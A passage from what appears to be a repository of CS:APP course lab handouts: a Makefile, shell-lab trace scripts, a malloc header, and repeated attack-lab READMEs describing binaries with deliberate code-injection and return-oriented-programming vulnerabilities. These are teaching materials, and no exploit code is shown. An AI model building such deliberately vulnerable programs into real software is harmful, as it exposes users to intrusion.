#以覆盖写的方式,数字排序,输出unique行 17 | sort -u -n random_5000.txt > number.txt 18 | #以追加写的方式,字母排序,输出unique行 19 | sort -u random_5000.txt >> alph.txt 20 | #以追加写的方式,数字排序,输出unique行 21 | sort -u -n random_5000.txt >> number.txt 22 | #已经生成一个含有60个Computer字符的letter文件 23 | grep -c "Computer" letter.txt 24 | -------------------------------------------------------------------------------- /lab2/datalab-handout/Makefile: -------------------------------------------------------------------------------- 1 | # 2 | # Makefile that builds btest and other helper programs for the CS:APP data lab 3 | # 4 | CC = gcc 5 | CFLAGS = -O -Wall -m32 6 | LIBS = -lm 7 | 8 | all: btest fshow ishow 9 | 10 | btest: btest.c bits.c decl.c tests.c btest.h bits.h 11 | $(CC) $(CFLAGS) $(LIBS) -o btest bits.c btest.c decl.c tests.c 12 | 13 | fshow: fshow.c 14 | $(CC) $(CFLAGS) -o fshow fshow.c 15 | 16 | ishow: ishow.c 17 | $(CC) $(CFLAGS) -o ishow ishow.c 18 | 19 | # Forces a recompile. Used by the driver program. 20 | btestexplicit: 21 | $(CC) $(CFLAGS) $(LIBS) -o btest bits.c btest.c decl.c tests.c 22 | 23 | clean: 24 | rm -f *.o btest fshow ishow *~ 25 | 26 | 27 | -------------------------------------------------------------------------------- /lab6/shlab-handout/trace14.txt: -------------------------------------------------------------------------------- 1 | # 2 | # trace14.txt - Simple error handling 3 | # 4 | /bin/echo tsh> ./bogus 5 | ./bogus 6 | 7 | /bin/echo -e tsh> ./myspin 4 \046 8 | ./myspin 4 & 9 | 10 | /bin/echo tsh> fg 11 | fg 12 | 13 | /bin/echo tsh> bg 14 | bg 15 | 16 | /bin/echo tsh> fg a 17 | fg a 18 | 19 | /bin/echo tsh> bg a 20 | bg a 21 | 22 | /bin/echo tsh> fg 9999999 23 | fg 9999999 24 | 25 | /bin/echo tsh> bg 9999999 26 | bg 9999999 27 | 28 | /bin/echo tsh> fg %2 29 | fg %2 30 | 31 | /bin/echo tsh> fg %1 32 | fg %1 33 | 34 | SLEEP 2 35 | TSTP 36 | 37 | /bin/echo tsh> bg %2 38 | bg %2 39 | 40 | /bin/echo tsh> bg %1 41 | bg %1 42 | 43 | /bin/echo tsh> jobs 44 | jobs 45 | 46 | 47 | 48 | -------------------------------------------------------------------------------- /lab6/shlab-handout/trace15.txt: -------------------------------------------------------------------------------- 1 | # 2 | # trace15.txt - Putting it all together 3 | # 4 | 5 | /bin/echo tsh> ./bogus 6 | ./bogus 7 | 8 | /bin/echo tsh> ./myspin 10 9 | ./myspin 10 10 | 11 | SLEEP 2 12 | INT 13 | 14 | /bin/echo -e tsh> ./myspin 3 \046 15 | ./myspin 3 & 16 | 17 | /bin/echo -e tsh> ./myspin 4 \046 18 | ./myspin 4 & 19 | 20 | /bin/echo tsh> jobs 21 | jobs 22 | 23 | /bin/echo tsh> fg %1 24 | fg %1 25 | 26 | SLEEP 2 27 | TSTP 28 | 29 | /bin/echo tsh> jobs 30 | jobs 31 | 32 | /bin/echo tsh> bg %3 33 | bg %3 34 | 35 | /bin/echo tsh> bg %1 36 | bg %1 37 | 38 | /bin/echo tsh> jobs 39 | jobs 40 | 41 | /bin/echo tsh> fg %1 42 | fg %1 43 | 44 | /bin/echo tsh> quit 45 | quit 46 | 47 | -------------------------------------------------------------------------------- /lab5/malloc-handout/malloclab-handout/mm.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | extern int mm_init (void); 4 | extern void *mm_malloc (size_t size); 5 | extern void mm_free (void *ptr); 6 | extern void *mm_realloc(void *ptr, size_t size); 7 | 8 | 9 | /* 10 | * Students work in teams of one or two. Teams enter their team name, 11 | * personal names and login IDs in a struct of this 12 | * type in their bits.c file. 13 | */ 14 | typedef struct { 15 | char *teamname; /* ID1+ID2 or ID1 */ 16 | char *name1; /* full name of first member */ 17 | char *id1; /* login ID of first member */ 18 | char *name2; /* full name of second member (if any) */ 19 | char *id2; /* login ID of second member */ 20 | } team_t; 21 | 22 | extern team_t team; 23 | 24 | -------------------------------------------------------------------------------- /lab4/attack-handout/1/README.txt: -------------------------------------------------------------------------------- 1 | This file contains materials for one instance of the attacklab. 2 | 3 | Files: 4 | 5 | ctarget 6 | 7 | Linux binary with code-injection vulnerability. To be used for phases 8 | 1-3 of the assignment. 9 | 10 | rtarget 11 | 12 | Linux binary with return-oriented programming vulnerability. To be 13 | used for phases 4-5 of the assignment. 14 | 15 | cookie.txt 16 | 17 | Text file containing 4-byte signature required for this lab instance. 18 | 19 | farm.c 20 | 21 | Source code for gadget farm present in this instance of rtarget. You 22 | can compile (use flag -Og) and disassemble it to look for gadgets. 23 | 24 | hex2raw 25 | 26 | Utility program to generate byte sequences. See documentation in lab 27 | handout. 28 | 29 | -------------------------------------------------------------------------------- /lab4/attack-handout/2/README.txt: -------------------------------------------------------------------------------- 1 | This file contains materials for one instance of the attacklab. 2 | 3 | Files: 4 | 5 | ctarget 6 | 7 | Linux binary with code-injection vulnerability. To be used for phases 8 | 1-3 of the assignment. 9 | 10 | rtarget 11 | 12 | Linux binary with return-oriented programming vulnerability. To be 13 | used for phases 4-5 of the assignment. 14 | 15 | cookie.txt 16 | 17 | Text file containing 4-byte signature required for this lab instance. 18 | 19 | farm.c 20 | 21 | Source code for gadget farm present in this instance of rtarget. You 22 | can compile (use flag -Og) and disassemble it to look for gadgets. 23 | 24 | hex2raw 25 | 26 | Utility program to generate byte sequences. See documentation in lab 27 | handout. 28 | 29 | -------------------------------------------------------------------------------- /lab4/attack-handout/3/README.txt: -------------------------------------------------------------------------------- 1 | This file contains materials for one instance of the attacklab. 2 | 3 | Files: 4 | 5 | ctarget 6 | 7 | Linux binary with code-injection vulnerability. To be used for phases 8 | 1-3 of the assignment. 9 | 10 | rtarget 11 | 12 | Linux binary with return-oriented programming vulnerability. To be 13 | used for phases 4-5 of the assignment. 14 | 15 | cookie.txt 16 | 17 | Text file containing 4-byte signature required for this lab instance. 18 | 19 | farm.c 20 | 21 | Source code for gadget farm present in this instance of rtarget. You 22 | can compile (use flag -Og) and disassemble it to look for gadgets. 23 | 24 | hex2raw 25 | 26 | Utility program to generate byte sequences. See documentation in lab 27 | handout. 28 | 29 | -------------------------------------------------------------------------------- /lab4/attack-handout/4/README.txt: -------------------------------------------------------------------------------- 1 | This file contains materials for one instance of the attacklab. 2 | 3 | Files: 4 | 5 | ctarget 6 | 7 | Linux binary with code-injection vulnerability. To be used for phases 8 | 1-3 of the assignment. 9 | 10 | rtarget 11 | 12 | Linux binary with return-oriented programming vulnerability. To be 13 | used for phases 4-5 of the assignment. 14 | 15 | cookie.txt 16 | 17 | Text file containing 4-byte signature required for this lab instance. 18 | 19 | farm.c 20 | 21 | Source code for gadget farm present in this instance of rtarget. You 22 | can compile (use flag -Og) and disassemble it to look for gadgets. 23 | 24 | hex2raw 25 | 26 | Utility program to generate byte sequences. See documentation in lab 27 | handout. 28 | 29 | -------------------------------------------------------------------------------- /lab4/attack-handout/5/README.txt: -------------------------------------------------------------------------------- 1 | This file contains materials for one instance of the attacklab. 2 | 3 | Files: 4 | 5 | ctarget 6 | 7 | Linux binary with code-injection vulnerability. To be used for phases 8 | 1-3 of the assignment. 9 | 10 | rtarget 11 | 12 | Linux binary with return-oriented programming vulnerability. To be 13 | used for phases 4-5 of the assignment. 14 | 15 | cookie.txt 16 | 17 | Text file containing 4-byte signature required for this lab instance. 18 | 19 | farm.c 20 | 21 | Source code for gadget farm present in this instance of rtarget. You 22 | can compile (use flag -Og) and disassemble it to look for gadgets. 23 | 24 | hex2raw 25 | 26 | Utility program to generate byte sequences. See documentation in lab 27 | handout. 28 | 29 | -------------------------------------------------------------------------------- /lab4/attack-handout/6/README.txt: -------------------------------------------------------------------------------- 1 | This file contains materials for one instance of the attacklab. 2 | 3 | Files: 4 | 5 | ctarget 6 | 7 | Linux binary with code-injection vulnerability. To be used for phases 8 | 1-3 of the assignment. 9 | 10 | rtarget 11 | 12 | Linux binary with return-oriented programming vulnerability. To be 13 | used for phases 4-5 of the assignment. 14 | 15 | cookie.txt 16 | 17 | Text file containing 4-byte signature required for this lab instance. 18 | 19 | farm.c 20 | 21 | Source code for gadget farm present in this instance of rtarget. You 22 | can compile (use flag -Og) and disassemble it to look for gadgets. 23 | 24 | hex2raw 25 | 26 | Utility program to generate byte sequences. See documentation in lab 27 | handout. 28 | 29 | -------------------------------------------------------------------------------- /lab4/attack-handout/7/README.txt: -------------------------------------------------------------------------------- 1 | This file contains materials for one instance of the attacklab. 2 | 3 | Files: 4 | 5 | ctarget 6 | 7 | Linux binary with code-injection vulnerability. To be used for phases 8 | 1-3 of the assignment. 9 | 10 | rtarget 11 | 12 | Linux binary with return-oriented programming vulnerability. To be 13 | used for phases 4-5 of the assignment. 14 | 15 | cookie.txt 16 | 17 | Text file containing 4-byte signature required for this lab instance. 18 | 19 | farm.c 20 | 21 | Source code for gadget farm present in this instance of rtarget. You 22 | can compile (use flag -Og) and disassemble it to look for gadgets. 23 | 24 | hex2raw 25 | 26 | Utility program to generate byte sequences. See documentation in lab 27 | handout. 28 | 29 | -------------------------------------------------------------------------------- /lab4/attack-handout/8/README.txt: -------------------------------------------------------------------------------- 1 | This file contains materials for one instance of the attacklab. 2 | 3 | Files: 4 | 5 | ctarget 6 | 7 | Linux binary with code-injection vulnerability. To be used for phases 8 | 1-3 of the assignment. 9 | 10 | rtarget 11 | 12 | Linux binary with return-oriented programming vulnerability. To be 13 | used for phases 4-5 of the assignment. 14 | 15 | cookie.txt 16 | 17 | Text file containing 4-byte signature required for this lab instance. 18 | 19 | farm.c 20 | 21 | Source code for gadget farm present in this instance of rtarget. You 22 | can compile (use flag -Og) and disassemble it to look for gadgets. 23 | 24 | hex2raw 25 | 26 | Utility program to generate byte sequences. See documentation in lab 27 | handout. 28 | 29 | -------------------------------------------------------------------------------- /lab4/attack-handout/9/README.txt: -------------------------------------------------------------------------------- 1 | This file contains materials for one instance of the attacklab. 2 | 3 | Files: 4 | 5 | ctarget 6 | 7 | Linux binary with code-injection vulnerability. To be used for phases 8 | 1-3 of the assignment. 9 | 10 | rtarget 11 | 12 | Linux binary with return-oriented programming vulnerability. To be 13 | used for phases 4-5 of the assignment. 14 | 15 | cookie.txt 16 | 17 | Text file containing 4-byte signature required for this lab instance. 18 | 19 | farm.c 20 | 21 | Source code for gadget farm present in this instance of rtarget. You 22 | can compile (use flag -Og) and disassemble it to look for gadgets. 23 | 24 | hex2raw 25 | 26 | Utility program to generate byte sequences. See documentation in lab 27 | handout. 28 | 29 | -------------------------------------------------------------------------------- /lab4/attack-handout/10/README.txt: -------------------------------------------------------------------------------- 1 | This file contains materials for one instance of the attacklab. 2 | 3 | Files: 4 | 5 | ctarget 6 | 7 | Linux binary with code-injection vulnerability. To be used for phases 8 | 1-3 of the assignment. 9 | 10 | rtarget 11 | 12 | Linux binary with return-oriented programming vulnerability. To be 13 | used for phases 4-5 of the assignment. 14 | 15 | cookie.txt 16 | 17 | Text file containing 4-byte signature required for this lab instance. 18 | 19 | farm.c 20 | 21 | Source code for gadget farm present in this instance of rtarget. You 22 | can compile (use flag -Og) and disassemble it to look for gadgets. 23 | 24 | hex2raw 25 | 26 | Utility program to generate byte sequences. See documentation in lab 27 | handout. 28 | 29 | -------------------------------------------------------------------------------- /lab4/attack-handout/11/README.txt: -------------------------------------------------------------------------------- 1 | This file contains materials for one instance of the attacklab. 2 | 3 | Files: 4 | 5 | ctarget 6 | 7 | Linux binary with code-injection vulnerability. To be used for phases 8 | 1-3 of the assignment. 9 | 10 | rtarget 11 | 12 | Linux binary with return-oriented programming vulnerability. To be 13 | used for phases 4-5 of the assignment. 14 | 15 | cookie.txt 16 | 17 | Text file containing 4-byte signature required for this lab instance. 18 | 19 | farm.c 20 | 21 | Source code for gadget farm present in this instance of rtarget. You 22 | can compile (use flag -Og) and disassemble it to look for gadgets. 23 | 24 | hex2raw 25 | 26 | Utility program to generate byte sequences. See documentation in lab 27 | handout. 28 | 29 | -------------------------------------------------------------------------------- /lab4/attack-handout/12/README.txt: -------------------------------------------------------------------------------- 1 | This file contains materials for one instance of the attacklab. 2 | 3 | Files: 4 | 5 | ctarget 6 | 7 | Linux binary with code-injection vulnerability. To be used for phases 8 | 1-3 of the assignment. 9 | 10 | rtarget 11 | 12 | Linux binary with return-oriented programming vulnerability. To be 13 | used for phases 4-5 of the assignment. 14 | 15 | cookie.txt 16 | 17 | Text file containing 4-byte signature required for this lab instance. 18 | 19 | farm.c 20 | 21 | Source code for gadget farm present in this instance of rtarget. You 22 | can compile (use flag -Og) and disassemble it to look for gadgets. 23 | 24 | hex2raw 25 | 26 | Utility program to generate byte sequences. See documentation in lab 27 | handout. 28 | 29 | --------------------------------------------------------------------------------